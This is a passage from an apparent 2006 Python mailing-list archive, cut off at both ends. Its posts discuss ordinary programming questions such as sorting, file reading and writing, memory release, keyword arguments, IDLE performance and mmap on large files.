*types): > result = [c(x) for (x, c) in zip(line.split(), types) if c] or [None] > return len(result) != 1 and result or result[0] > > text = "H 0.000 0.000 0.000" > > print parseline(text, str, float, float, float) > print parseline(text, None, float, float, float) > print parseline(text, None, float) > > etc. and since you know how many items you'll get back from the > function, you might as well go for the one-liner version, and do > the unpacking on the way out: > > def parseline(line, *types): > return [c(x) for (x, c) in zip(line.split(), types) if c] or [None] > > text = "H 0.000 0.000 0.000" > > [tag, value] = parseline(text, str, float) > [value] = parseline(text, None, float) > > From E6754C at motorola.com Mon Oct 30 01:41:05 2006 From: E6754C at motorola.com (Liu HuaDong-E6754C) Date: Mon, 30 Oct 2006 14:41:05 +0800 Subject: Is it possible to use python to unit test C++ code? Message-ID: <3790A97A1A03424A83B9FEE947A4E39AD66CBC@zmy16exm63.ds.mot.com> Did any one used python to do C++ unit test? If u did, could u give some actions how to do unit test by using python. e6754c at motorola.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From umut.tabak at student.kuleuven.be Mon Oct 23 09:03:49 2006 From: umut.tabak at student.kuleuven.be (umut.tabak at student.kuleuven.be) Date: 23 Oct 2006 06:03:49 -0700 Subject: Script to count files in a folder Message-ID: <1161608629.259769.88490@b28g2000cwb.googlegroups.com> Dear all, We have a multi-platform application(Windows-Linux). Linux part of our application is writing some input and trigger files on the a shared drive. What I want to do is to be able to count the occurence of these trigger files. lets say my file is file.start A batch file creates this file and deletes that file in the same loop. This file is intended to start the reading of an input file. After it is read batch file deletes this file automatically and on the next loop it will be written and deleted again. With this script I have to count the occurences of the file on this specific folder. I did not have the time to think on it but maybe you can give me some ideas on that. And btw, I am not an expert in scirpting. I am trying to learn Python but this task is a little bit over my head. Any help or thoughts are appreciated. With best regards From http Mon Oct 16 14:28:07 2006 From: http (Paul Rubin) Date: 16 Oct 2006 11:28:07 -0700 Subject: Need a strange sort method... References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> Message-ID: <7xk630cdzc.fsf@ruckus.brouhaha.com> "SpreadTooThin" writes: > a = [1,2,3,4,5,6,7,8,9,10] #Although not necessarily in order > > def cmp(i,j): #to be defined in this thread. > > a.sort(cmp) > > print a > [1,4,7,10, 2,5,8, 3,6,9] def k(n): return (n-1) % 3, (n-1) // 3 a.sort(key=k) From skip at pobox.com Mon Oct 16 12:40:56 2006 From: skip at pobox.com (skip at pobox.com) Date: Mon, 16 Oct 2006 11:40:56 -0500 Subject: set operations on dictionaries? In-Reply-To: <20061016150113.49209.qmail@web58106.mail.re3.yahoo.com> References: <20061016150113.49209.qmail@web58106.mail.re3.yahoo.com> Message-ID: <17715.46616.488658.874636@montanaro.dyndns.org> It should be quite obvious what should happen when the values stored for the relevant keys are identical. It is less obvious (and needs some though) what should happen when the keys are the same in the two operands, but the values are different. I think you answered you own proposal in the negative. Precisely because the result of this example {1: 10, 2: 20} | {2: 25, 3:30} is ill-defined, Python shouldn't implement set operations on dictionaries. "In the face of ambiguity, refuse the temptation to guess." Skip From fredrik at pythonware.com Tue Oct 17 12:25:05 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 17 Oct 2006 18:25:05 +0200 Subject: stdout not flushed before os.execvp() In-Reply-To: <4pk88nFjc1puU1@individual.net> References: <4pk88nFjc1puU1@individual.net> Message-ID: Thomas Guettler wrote: > Is this a bug or feature? feature. the "exec" system call operates on a lower level than the stdio buffering system. From MrJean1 at gmail.com Sun Oct 8 18:15:16 2006 From: MrJean1 at gmail.com (MrJean1) Date: 8 Oct 2006 15:15:16 -0700 Subject: print time comparison: IDLE versus terminal on ultra 20 In-Reply-To: <1160332865.902895.315470@e3g2000cwe.googlegroups.com> References: <1160332865.902895.315470@e3g2000cwe.googlegroups.com> Message-ID: <1160345716.439170.117110@e3g2000cwe.googlegroups.com> On my Ultra 20 box, the test program takes 0.00039982 secs in a terminal window and 0.236839 secs in IDLE, i.e. about 600x slower. This is ActivePython 2.4.3 for Solaris 10 on a 2+ GHz Opteron. A partial explanation for the difference in run time between terminal and IDLE is that IDLE uses thru a Tkinter/Tcl/Tk window which postprocesses the output, like colorizing, etc. /Jean Brouwers PS) On MacOS X 10.3.9 and a 400 MHz G4 the terminal time is 0.172556 secs and IDLE takes between 4.04731 and 4.87804 secs (depending on the options selected) or 24-28x longer . This is Python 2.4.3, IDLE 1.1.3 and Tcl/Tk 8.4.13 as distributed with MacOS X. sam wrote: > hi all, > > i continue to footle around on my spanking new ultra 20 (1.8GHz / > Opteron Model 144), gradually trying to get to grips with python and > unix both. > > the slow print time in IDLE had already struck me as rather odd. > running programs with heavy print requirements from the terminal was a > major discovery though, printing being so fast as to make everything > appear at once except in the case of literally thousands of items to be > printed. > > test case: > > import time > > time1 = time.time() > for i in range(100): > print 'go get \'em, son!' > time2 = time.time() > > print time2-time1 > > > in IDLE: > 4.433 seconds > > in terminal: > 0.001 seconds > > a difference of between 3 and 4 orders of magnitude is rather striking. > anyone know what's going on here? is it a python, a unix thing, or > something else? > > sam From MrJean1 at gmail.com Thu Oct 5 06:22:06 2006 From: MrJean1 at gmail.com (MrJean1) Date: 5 Oct 2006 03:22:06 -0700 Subject: releasing memory to malloc In-Reply-To: <1159490810.239269.213740@m7g2000cwm.googlegroups.com> References: <1159317243.803849.161000@i3g2000cwc.googlegroups.com> <1159490810.239269.213740@m7g2000cwm.googlegroups.com> Message-ID: <1160043724.012745.164940@m7g2000cwm.googlegroups.com> The memory manager in the latest Python release 2.5 does return freed memory to the underlying system, if possible. For more details, see the 5th bullet on this page . /Jean Brouwers iker.arizmendi at gmail.com wrote: > The workaround I went with made use of the shelve module and > calls to gc.collect() to cap the memory consumed by the Python > allocator. It was a bit intrusive but it got the job done. > > Would a method in the gc module that released memory to malloc > be something that could get added to Python? Or are there some > reasons why allowing that would be a bad idea? > > Regards, > Iker > > P.S. > This may be a repeat of an earlier message - it seems that > google groups may have discarded my earlier post. > > > iker.arizmendi at gmail.com wrote: > > Is there any way to get Python to release memory back to the > > C allocator? I'm currently running a script that goes through > > the following steps: > > > > 1) Creates a very large number of Python objects to produce > > a relatively small data structure that sits in a C extension. > > The Python objects consume quite a bit of memory. > > > > 2) Releases all the Python objects. > > > > 3) Invokes a function of said C extension for further > > processing. This step needs as much memory as possible. > > > > I'd like step 2 to return memory to the C allocator so that it > > is available to the extension in step 3 (which uses malloc). > > > > Regards, > > Iker Arizmendi From steve at REMOVE.THIS.cybersource.com.au Fri Oct 6 21:25:03 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sat, 07 Oct 2006 11:25:03 +1000 Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xhcyk2u1z.fsf@ruckus.brouhaha.com> Message-ID: On Fri, 06 Oct 2006 12:42:08 +0200, Fredrik Lundh wrote: > Antoon Pardon wrote: > >> IMO this is a very natural thought process for a python programmer. >> So a python programmer seeing the first will tend to expect that >> last call to work. > > on the other hand, if a Python programmer *writes* some code instead; > say, a trivial function like: > > def calculate(a, b): > # approximate; gonna have to fix this later > return a + b * 1.2 > > chances are that he did *not* intend this to be called as > > calculate(a=1, b=2) Developers enable lots of things that they didn't intend. For example, that function works perfectly well with complex numbers, regardless of whether or not the developer who wrote it even knows that complex numbers exist. We've recently had rather vigorous argument on this list about an alleged bug in cgi.escape, and the consensus was that it wasn't a bug, but *even if it were* it couldn't be changed without making a backwards-incompatible change, and therefore it wouldn't be changed. For the developer to change the names of a and b in the above published code would be a backwards-incompatible change. Under the currently existing Python (rather than some future, hypothetical Python, or some Python in an alternative reality) all Python arguments are keyword arguments, whether the developer intends it or not. (Functions written in C are different.) At the very least, since names a and b are now part of his code's published interface, he is responsible for documenting that they are subject to change. The argument that we should assume that argument names are subject to change unless told otherwise gets it backwards -- argument names are part of the published interface to the code, just like the function name, and therefore should NOT change without warning, if at all. Now, since so many programmers seem to ignore best-practices, common practices and even common sense, perhaps Fredrik's heuristic "don't assume keyword args are keyword args unless explicitly told" might be good, defensive programming -- a little like "just because the published interface says the function returns an integer, don't assume it returns an integer without checking" might be good, defensive practice too. > or, for that matter, > > calculate(b=2, a=1) > > or > > calculate(1, b=2) > > just because the Python calling machinery currently happens to allow > that. And chances are that he did *not* expect to be stuck with those > argument names for the foreseeable future, just because someone else > decided to interpret things in the most literal way they possibly could. There is a convention for marking names as "touch at your own risk". That convention isn't "everything is touch at your own risk unless told otherwise". The convention is to use names with a leading underscore. -- Steve. From scott.daniels at acm.org Fri Oct 6 13:01:50 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Fri, 06 Oct 2006 10:01:50 -0700 Subject: extract certain values from file with re In-Reply-To: <1160152678.815604.289070@e3g2000cwe.googlegroups.com> References: <1160152678.815604.289070@e3g2000cwe.googlegroups.com> Message-ID: <45268400$1@nntp0.pdx.net> bearophileHUGS at lycos.com wrote: Use his solution like: datafile = open(data_file_name, 'r') for line in datafile: if 'U-Mom' in line: print float(line.split("|")[4]) datafile.close() For the earlier problem: def data_specific(source): global headings # in case some other bit wants to read them saw_top = False gen = iter(source) for line in gen: cut = line.split(None, 1) if len(cut) > 1 and (cut[0] == 'ITER' and 'GLOBAL ABSOLUTE RESIDUAL' in cut[1]): break else: return headings = gen.next().split() # column headings starts = range(11, 74, 9) + range(75, 138, 9) # for fixed-width for line in gen: data = line.split() if data and data != ['...']: # suppress blank lines if data[0] == '&&&&&&': # found the terminator break assert line[10] == ' ' and line[74] == ' ' yield [int(line[:10])] + [ float(line[n : n+9]) for n in starts] datafile = open(data_file_name, 'r') for row in data_specific(datafile): print row # or row[headings.index('MASS')] or whatever datafile.close() The general theme here is: don't use re unless it is a good solution. sometimes you know which columns things are in, sometimes you know a separator, sometimes there is a mix, and sometimes you do need a regular expression. Save re for when you need to do pattern matching. --Scott David Daniels scott.daniels at acm.org From eldiener_no_spam_here at earthlink.net Mon Oct 9 15:49:25 2006 From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam) Date: Mon, 09 Oct 2006 19:49:25 GMT Subject: Python component model In-Reply-To: References: Message-ID: <9JxWg.5046$Lv3.2717@newsread1.news.pas.earthlink.net> Echo wrote: > On 10/9/06, Edward Diener No Spam > wrote: >> The definition of a component model I use below is a class which allows >> properties, methods, and events in a structured way which can be >> recognized, usually through some form of introspection outside of that >> class. This structured way allows visual tools to host components, and >> allows programmers to build applications and libraries visually in a RAD >> environment. >> >> The Java language has JavaBeans as its component model which allows Java >> applications to be built in a visual RAD way. Microsoft's .Net has a >> component model built-in to its .Net class libraries as well as >> supported by CLR which allows .Net applications to be built visually >> using components created in any .Net supported language. >> >> With Python things are different. There is no single component model >> which allows Python developers to build components which will be used >> and recognized by the various RAD Python tools on the market. Instead a >> developer must create a slightly different set of Python classes for >> each RAD Python tool. This is the situation despite Python's having >> easily as much functionality, if not much more, as Java or .Net >> languages such as C#, VB, or C++/CLI for creating components, and for >> allowing visual tools to introspect the properties, methods, and events >> of Python classes. >> >> I believe that Python should have a common components model for all RAD >> development environments, as that would allow the Python programmer to >> create a set of classes representing components which would work in any >> environment. I want to immediately point out that components do not >> simply mean visual GUI components but what may be even more important, >> non-visual components. Having used RAD development environments to >> create applications, I have found such environments almost always much >> better than coding complex interactions manually, and I believe that >> visual development environments are almost a necessity in today's world >> of large-scale, multi-tier, and enterprise applications. >> >> Has there ever been, or is there presently anybody, in the Python >> developer community who sees the same need and is working toward that >> goal of a common component model in Python, blessed and encouraged by >> those who maintain the Python language and standard modules themselves ? >> -- >> http://mail.python.org/mailman/listinfo/python-list >> > > > If you are talking about about creating a GUI and having be able to > run using different GUI libraries like Tkinter, wxPython, wxgtk, ect. > You could look into Dabo(http://dabodev.com/). It is designed so that > you can design your GUI and have it run with what ever GUI library you > want(only wxPython is supported at the moment. And I think that > Tkinter works somewhat.) It's not just for GUI controls that a component model exists in the other environments I mentioned. Non-GUI components are intrinsically as important, if not more so, to a component model architecture. Also, quite honestly, I think a component model would have to be specified by the core Python developers instead of retrofitted against the popular GUI environments for Python which currently exist. Also I admit I am no fan of wx-you-name-it, whose "event" model especially I find way too limiting and ineffective in relation to the entire area of component-based programming and events. From george.sakkis at gmail.com Mon Oct 23 17:05:17 2006 From: george.sakkis at gmail.com (George Sakkis) Date: 23 Oct 2006 14:05:17 -0700 Subject: Looking for a Python-on-Windows person to help with SpamBayes References: Message-ID: <1161637517.097585.325860@k70g2000cwa.googlegroups.com> skip at pobox.com wrote: > The bare requirements are: > > * Able to program in Python on Windows (that is, remove my Unix-think > from the OCR bits of code) > > * Use Outlook to read mail (so you can test the changes with the > SpamBayes Outlook plugin) Does "remove my unix-think" mean replacing it with equivalent Windows-think (e.g through Win32all, Win32 API, COM) or it can be done in platform-independent way ? In the second case I might be able to help as I'm using SpamBayes with Outlook at work, but I don't do windows-specific programming. George From Luwian at gmail.com Sun Oct 22 12:29:33 2006 From: Luwian at gmail.com (Lucas) Date: 22 Oct 2006 09:29:33 -0700 Subject: How to print a file in binary mode In-Reply-To: <1161533394.483372.140500@m7g2000cwm.googlegroups.com> References: <1161519385.614985.311240@m73g2000cwd.googlegroups.com> <1161524030.833422.216370@k70g2000cwa.googlegroups.com> <1161533394.483372.140500@m7g2000cwm.googlegroups.com> Message-ID: <1161534573.273402.148740@k70g2000cwa.googlegroups.com> I am sorry my english is not good! strList = ['1010010100','11101000100'] fileWrite = open('a.jpg','ab') for item in strList: fileWrite.write(item) fileWrite.close() # I don't know whether or not I succeed fileRead = open('a.jpg','rb') b = fileRead.read() fileRead.close() print b #it is wrong # How can I display a.jpg's binary code? Lucas wrote: > well, if I just open the file in binary mode, and write a string,e.g > '660', how do i read the result? I means I need print the binary in > screen. > > do these? > > fileWrite = open('a.jpg',''ab') > fileWrite.write('660') > fileWrite.close() > > fileRead = open('a.jpg','rb') > b = fileRead.read() > fileRead.close() > print b > > ??????? > > Thanks again > > Fredrik Lundh wrote: > > Lucas wrote: > > > > > I do it because I want to encrypt a string into a picture using RSA > > > algorithm. > > > > what does "into" mean? are you supposed to encrypt the binary data > > representing the JPEG image, or embed a message into the actual image? > > > > > so I first convert the string to binary,and then saving the binary > > > into picture > > > > you seem to have a rather fuzzy understanding of the words "string" and > > "binary" here. if you read from a file that's opened in binary mode, > > you get an 8-bit string that contains the binary data. there's no need > > for any conversion here; just use the data you got from "read". > > > > > finally, print the picture by binary! > > > > do you mean "save the picture to a binary file", or something else? > > > > From fredrik at pythonware.com Tue Oct 17 10:05:43 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 17 Oct 2006 16:05:43 +0200 Subject: Tertiary Operation References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> <4534DF4A.2030007@tim.thechases.com> Message-ID: Tim Chase wrote: > {True: "", False: str(x)}[x is None] first the localtime/mktime roundtrip with a simulated cast, and now this? in less than one hour? solar flares? From scott.daniels at acm.org Thu Oct 12 16:29:56 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Thu, 12 Oct 2006 13:29:56 -0700 Subject: IDLE won't run In-Reply-To: References: Message-ID: <452e9d99@nntp0.pdx.net> Rob wrote: > I have Python 2.4.3 installed on Windows XP on both a real computer and a > virtual machine under VMware. Just recently, IDLE stopped working. I would > select IDLE from the start menu or right click on a .PY file and open it in > IDLE, but nothing happens. I just uninstalled Python on the virtual machine > and installed 2.5 in the hope that that would fix the problem, but it > didn't. It, too, would do nothing when I tried to run IDLE. In both cases, > the Python command line window will come up, but that's not what I want to > use. > > Does anyone know of a way to fix this problem? Is there a new Windows > update that is now interfering with IDLE? Would Norton Antivirus be > interfering with it somehow? (It's running in both environments.) Likely something turned on firewall behavior. You can check out this theory: On your background, right-click and "New Shortcut" then browse to "C:\Python25\pythonw.exe" (or wherever your Python is). When that shortcut has been made, right-click it, and change The "target" from: "C:\Python25\pythonw.exe" to: "C:\Python25\pythonw.exe -m idlelib.idle -n" If this shortcut works to give you Idle, the problem is in creating a separate process linked via a socket to "localhost" port 8833. --Scott David Daniels scott.daniels at acm.org From Leo.Kislov at gmail.com Thu Oct 19 07:21:55 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 19 Oct 2006 04:21:55 -0700 Subject: Type discrepancy using struct.unpack References: <1161255700.665211.145360@i42g2000cwa.googlegroups.com> Message-ID: <1161256915.902138.156710@k70g2000cwa.googlegroups.com> Pieter Rautenbach wrote: > Hallo, > > I have a 64 bit server with CentOS 4.3 installed, running Python. > > [pymsnt at lutetium pymsnt-0.11.2]$ uname -a > Linux lutetium.mxit.co.za 2.6.9-34.ELsmp #1 SMP Thu Mar 9 06:23:23 GMT > 2006 x86_64 x86_64 x86_64 GNU/Linux > > Consider the following two snippets, issuing a struct.unpack(...) using > Python 2.3.4 and Python 2.5 respectively. > > [pymsnt at lutetium pymsnt-0.11.2]$ python > Python 2.5 (r25:51908, Oct 17 2006, 10:34:59) > [GCC 3.4.5 20051201 (Red Hat 3.4.5-2)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. > >>> import struct > >>> print type(struct.unpack(">L", "xxxx")[0]) > > >>> > > [pymsnt at lutetium pymsnt-0.11.2]$ /usr/bin/python2.3 > Python 2.3.4 (#1, Feb 17 2005, 21:01:10) > [GCC 3.4.3 20041212 (Red Hat 3.4.3-9.EL4)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. > >>> import struct > >>> print type(struct.unpack(">L", "xxxx")[0]) > > >>> > > I would expect in both cases. Why is this not so? http://mail.python.org/pipermail/python-dev/2006-May/065199.html -- Leo. From duncan.booth at invalid.invalid Mon Oct 2 07:47:19 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 2 Oct 2006 11:47:19 GMT Subject: __init__ style questions References: <1159785721.004647.51490@c28g2000cwb.googlegroups.com> <1159788068.306378.253270@m7g2000cwm.googlegroups.com> Message-ID: "Will McGugan" wrote: > Duncan Booth wrote: > >> No it isn't Pythonic. Why not just require 3 values and move the >> responsibility onto the caller to pass them correctly? They can still >> use an iterator if they want: >> >> Vector3D(a, b, c) >> Vector3D(*some_iter) > > I kind of liked the ability to partially use iterators. It would be > convenient for reading in from a file for example > > f = file( "model.txt" ) > v1 = Vector3D( f ) > v2 = Vector3D( f ) > v3 = Vector3D( f ) > > Which you couldnt do with a tuple, because the * syntac would attempt > to read the entire file (I think). Yes, it would, although since the implication is that your class expected numbers and the file iterator returns strings I'm not sure how much it matters: you are still going to have to write more code than in your example above. e.g. v1 = Vector3D(float(n) for n in itertools.islice(f, 3)) or with my variant: v1 = Vector3D(*(float(n) for n in itertools.islice(f, 3))) I think my main objection to your code was that it introduced too many ways for the constructor to do unexpected things silently. e.g. your suggestion Vector3D("abc"), or Vector3D((1,2,3,4)) and I don't like errors going uncaught. That's why I think it is better to pass in exactly the arguments you need and convert them at the point where you can tell what the ambigous construction actually meant. I have no objection though to e.g. a class factory method which does all of this: @classmethod def fromStringSequence(cls, iter): return cls(*(float(n) for n in itertools.islice(iter, 3))) because that still makes you decide at the point of call whether you want: v1 = Vector3D(1, 2, 3) or v1 = Vector3D.fromStringSequence(f) From bignose+hates-spam at benfinney.id.au Sun Oct 1 06:20:57 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Sun, 01 Oct 2006 20:20:57 +1000 Subject: why logging re-raise my exception and can't be caught? References: <1159601583.256548.193730@b28g2000cwb.googlegroups.com> <87ac4hkd8w.fsf@benfinney.id.au> Message-ID: <8764f4jq0m.fsf@benfinney.id.au> Steve Holden writes: > Ben Finney wrote: > [...] > > A 'try ... except' statement is not an exception handler. [...] > > Just as a matter of interest, what would your definition of an > exception handler be, then? Specifically, what's the "except" clause > for? It seems my understanding was wrong. The 'except' clause *is* an exception handler. (I was thinking that the "default exception handler" was the only thing that could be called an "exception handler".) It's explained better here: > The docs for looging.except should make it explicit that the > exception will be re-raised. Yes, I agree; it wasn't very clear on reading the description of 'logging.exception()' what would actually happen. > Of course it might be possible to do something hackish like > > try: > ... > except: > try: > logging.exception(...) > except: > pass > > which (although untested) should theoretically allow the catching > (for a second time) of teh exception reraised by > logging.exception(). It does seem rather a side effect, and an unexpected (and undocumented) one at that. -- \ "If it ain't bust don't fix it is a very sound principle and | `\ remains so despite the fact that I have slavishly ignored it | _o__) all my life." -- Douglas Adams | Ben Finney From http Tue Oct 10 07:32:12 2006 From: http (Paul Rubin) Date: 10 Oct 2006 04:32:12 -0700 Subject: operator overloading + - / * = etc... References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> <452820C1.5020607@tim.thechases.com> <20061010114945.GA4478@dagan.sigpipe.cz> <7xslhwh2fz.fsf@ruckus.brouhaha.com> Message-ID: <7xejtgmmo3.fsf@ruckus.brouhaha.com> Antoon Pardon writes: > >>> for x in takewhile(foo() for _ in repeat(None)): > ... print x > ... > Traceback (most recent call last): > File "", line 1, in ? > TypeError: takewhile expected 2 arguments, got 1 Yeah, I cancelled and posted a followup for x in takewhile(bool, foo() for _ in repeat(None)): print x but I haven't tested either way. From rtilley at vt.edu Thu Oct 19 12:38:55 2006 From: rtilley at vt.edu (Brad) Date: Thu, 19 Oct 2006 12:38:55 -0400 Subject: invert or reverse a string... warning this is a rant In-Reply-To: <7iNZg.117$1n3.3352@news.tufts.edu> References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: John Salerno wrote: > rick wrote: >> Why can't Python have a reverse() function/method like Ruby? > > I'm not steeped enough in daily programming to argue that it isn't > necessary, but my question is why do you need to reverse strings? Is it > something that happens often enough to warrant a method for it? I'm home for lunch so my email addy is different. No, it doesn't happen very often, but when I need to reverse something (usually a list or a string). I can never remember right of the top of my head how to do so in Python. I always have to Google for an answer or refer back to old code. IMO, I should be able to intuitively know how to do this. Python is so user-friendly most every place else... why can it not be so here? I wrote this so I'll never have to remember this again: def invert(invertable_object): try: print invertable_object[::-1] return invertable_object[::-1] except: print 'Object not invertable' return 1 invert([1,2,3,4]) invert('string') invert({1:2, 3:4}) From tjreedy at udel.edu Mon Oct 2 21:06:46 2006 From: tjreedy at udel.edu (Terry Reedy) Date: Mon, 2 Oct 2006 21:06:46 -0400 Subject: License / Registration key enabled software References: <1158951061.539594.164040@i3g2000cwc.googlegroups.com> <1159823579.917789.121910@c28g2000cwb.googlegroups.com> Message-ID: "T" wrote in message news:1159823579.917789.121910 at c28g2000cwb.googlegroups.com... > Oh man. This is going way off topic!!! > > I just wanted to know how license / registration key can be implemented > in python. I was not interested in philosophical discussion of why / > why not one should implement it, whether that business model make > sense, instead using smartcards, etc. etc. > > I would like to satisfy technical / intellectual curiosity of how it is > done in python -- so how about returning to the original topic of "How > can license / registration key be implemented in python?" I think the question is too broad. I suspect the broad answer "much the same way as in any other language, with adjustments made for the peculiarities of Python" will not satisfy you, but a more specific answer requires a more specific question, such as "How can a read a printer port dongle from Python and is there a cross-platform solution?" Terry Jan Reedy From sturlamolden at yahoo.no Mon Oct 23 20:06:55 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 23 Oct 2006 17:06:55 -0700 Subject: using mmap on large (> 2 Gig) files In-Reply-To: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> Message-ID: <1161648415.830523.225520@k70g2000cwa.googlegroups.com> myeates at jpl.nasa.gov wrote: > Anyone ever done this? It looks like Python2.4 won't take a length arg http://docs.python.org/lib/module-mmap.html It seems that Python does take a length argument, but not an offset argument (unlike the Windows' CreateFileMapping/MapViewOfFile and UNIX' mmap), so you always map from the beginning of the file. Of course if you have ever worked with memory mapping files in C, you will probably have experienced that mapping a large file from beginning to end is a major slowdown. And if the file is big enough, it does not even fit inside the 32 bit memory space of your process. Thus you have to limit the portion of the file that is mapped, using the offset and the length arguments. But the question remains whether Python's "mmap" qualifies as a "memory mapping" at all. Memory mapping a file means that the file is "mapped" into the process address space. So if you access a certain address (using a pointer type in C), you will actually read from or write to the file. On Windows, this mechanism is even used to access "files" that does not live on the file system. E.g. if CreateFileMapping is called with the file handle set to INVALID_HANDLE_VALUE, creates a file mapping backed by the OS paging file. That is, you actually obtain a shared memory segment e.g. usable for for inter-process communication. How would you use Python's mmap for something like this? I haven't looked at the source, but I'd be surprised if Python actually maps the file into the process image when mmap is called. I believe Python is not memory mapping at all; rather, it just opens a file in the file system and uses fseek to move around. That is, you can use slicing operators on Python's "memory mapped file object" as if it were a list or a string, but it's not really memory mapping, it's just a syntactical convinience. Because of this, you even need to manually "flush" the memory mapping object. If you were talking to a real memory mapped file, flushing would obviously not be required. This probably means that your problem is irrelevant. Even if the file is too large to fit inside a 32 bit process image, Python's memory mapping would not be affected by this, as it is not memory mapping the file when "mmap" is called. From richardjones at optushome.com.au Tue Oct 17 17:31:47 2006 From: richardjones at optushome.com.au (Richard Jones) Date: Wed, 18 Oct 2006 07:31:47 +1000 Subject: Python Web Site? References: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com> Message-ID: <45354bc3$0$32666$afc38c87@news.optusnet.com.au> *% <"mike$#at^&nospam!%trausch(*%)us"> wrote: > Is there a problem with the Python and wxPython web sites? I cannot > seem to get them up, and I am trying to find some documentation... The machine hosting www.python.org rebooted in response to a power failure. Richard From steve at holdenweb.com Fri Oct 13 07:37:11 2006 From: steve at holdenweb.com (Steve Holden) Date: Fri, 13 Oct 2006 12:37:11 +0100 Subject: OT: What's up with the starship? In-Reply-To: References: Message-ID: <452F7A67.2010708@holdenweb.com> Thomas Heller wrote: > I cannot connect to starship.python.net: neither http, nor can I login interactively with ssl (and the host key seems to have changed as well). > > Does anyone know more? > Nope. I got a mailing list reminder as usual at the start of the month, but I can confirm that I can't log in with my SSH private key, and that the system fingerprint has changed. Maybe some crew member can tell us what gives. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From casevh at comcast.net Fri Oct 6 18:12:49 2006 From: casevh at comcast.net (casevh at comcast.net) Date: 6 Oct 2006 15:12:49 -0700 Subject: News on versions modules for Python-2.5? In-Reply-To: <45269df8$0$25949$ba4acef3@news.orange.fr> References: <45269df8$0$25949$ba4acef3@news.orange.fr> Message-ID: <1160172769.799621.138780@i3g2000cwc.googlegroups.com> > And who can confirm that these modules are independent of Python version? > Gmpy I've compiled gmpy for Python 2.5. It is available at http://home.comcast.net/~casevh/ > (tip: I am on windows, and I don't can/know compile any module) casevh From martinezfive at comcast.net Tue Oct 10 17:12:57 2006 From: martinezfive at comcast.net (Frank Martinez) Date: Tue, 10 Oct 2006 17:12:57 -0400 Subject: C++ to Python? In-Reply-To: <7465b6170610101255i4569613nfb41424225d60446@mail.gmail.com> References: <6110AB6F-D20C-4F12-9347-B7FB64930329@comcast.net> <7465b6170610101255i4569613nfb41424225d60446@mail.gmail.com> Message-ID: <1B0B405F-56A9-4A41-B5C8-DA6E04248B1E@comcast.net> Hi, Roman. Thanks. I seem a bit confused. Does Py++ actually convert the C++ code to Python or does it just provide a wrapper to C++ code? You say tomater, I zader matermorts. -- Coach Z, Homestarrunner.com On Oct 10, 2006, at 3:55 PM, Roman Yakovenko wrote: > On 10/10/06, Frank Martinez wrote: >> Hi, Everybody! >> Does anyone know of a cpp2py type application? Without going >> into details, >> I need to port a bunch of C++ code to Python. Any such >> converter/information would be helpful. >> Thanks. > > Take a look on Py++( http://language-binding.net/pyplusplus/ > pyplusplus.html ) > You are not going to regret. > You don't have to believe: take a look on Python-Ogre project( > http://python-ogre.python-hosting.com/ ) and amount of code that is > needed > to export Ogre engine to Python: http://tinyurl.com/mjuea > > -- > Roman Yakovenko > C++ Python language binding > http://www.language-binding.net/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From anthra.norell at vtxmail.ch Sat Oct 14 16:03:46 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Sat, 14 Oct 2006 22:03:46 +0200 Subject: File read-write mode: problem appending after reading In-Reply-To: <1f7befae0610130057t82ce874h27cd7e7424efb371@mail.gmail.com> References: <452F3F8C.2070706@vtxmail.ch> <1f7befae0610130057t82ce874h27cd7e7424efb371@mail.gmail.com> Message-ID: <453142A2.4000404@vtxmail.ch> Tim, Thanks a lot for your input. I seemed to notice that everything works fine without setting the cursor as long as it stops before the end of the file. Is that also a coincidence that may not work? Frederic Tim Peters wrote: > [Frederic Rentsch] > >> Working with read and write operations on a file I stumbled on a >> complication when writes fail following a read to the end. >> >> >>> f = file ('T:/z', 'r+b') >> >>> f.write ('abcdefg') >> >>> f.tell () >> 30L >> >>> f.seek (0) >> >>> f.read () >> 'abcdefg' >> >>> f.flush () # Calling or not makes no difference >> >>> f.write ('abcdefg') >> > > Nothing is defined about what happens at this point, and this is > inherited from C. In standard C, if you want to read following a > write, or write following a read, on the same stream, you must perform > a file-positioning operation (typically a seek) between them. > > >> Traceback (most recent call last): >> File "", line 1, in -toplevel- >> f.write ('abcdefg') >> IOError: (0, 'Error') >> > > That's one possible result. Since nothing is defined, any other > outcome is also a possible result ;-) > > >> Flushing doesn't help. >> > > Right, and because flush() is not a file-positioning operation. > > >> I found two work arounds: >> >> >>> f.read () >> 'abcdefg' >> >>> f.read () # Workaround 1: A second read (returning an empty string) >> '' >> >>> f.write ('abcdefg') >> (No error) >> > > Purely an accident; may or may not "work" the next time you try it, or > on another platform; etc. > > >> >>> f.read () >> 'abcdefg' >> >>> f.seek (f.tell ()) # Workaround 2: Setting the cursor (to where it is!) >> > > That's a correct approach. f.seek(0, 1) (seek 0 bytes from the > current position) is a little easier to spell. > > >> >>> f.write ('abcdefg') >> (No error) >> >> I found no problem with writing into the file. So it looks like it has >> to do with the cursor which a read puts past the end, unless it is past >> the end, in which case it goes back to the end. Is there a less kludgy >> alternative to 